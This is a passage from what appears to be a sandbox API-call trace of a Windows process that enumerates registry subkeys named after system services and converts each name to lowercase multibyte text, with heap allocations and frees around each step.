Size=0x80) returned 0x21f2eb0 [0254.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0254.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.970] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0254.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0254.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.970] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0254.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0254.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.971] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0254.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0254.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.971] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0254.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0254.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.971] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0254.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0254.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.971] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0254.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0254.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.972] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0254.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0254.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.972] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0254.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0254.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.972] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0254.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0254.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.973] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0254.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0254.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.973] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0254.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0254.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.973] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0254.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0254.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.973] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0254.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0254.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.974] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0254.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0254.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.974] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0254.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0254.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.974] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0254.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0254.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.975] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0254.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0254.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0254.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.975] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0254.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0254.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.975] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0254.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0254.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.975] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0254.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0254.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bf8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0254.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 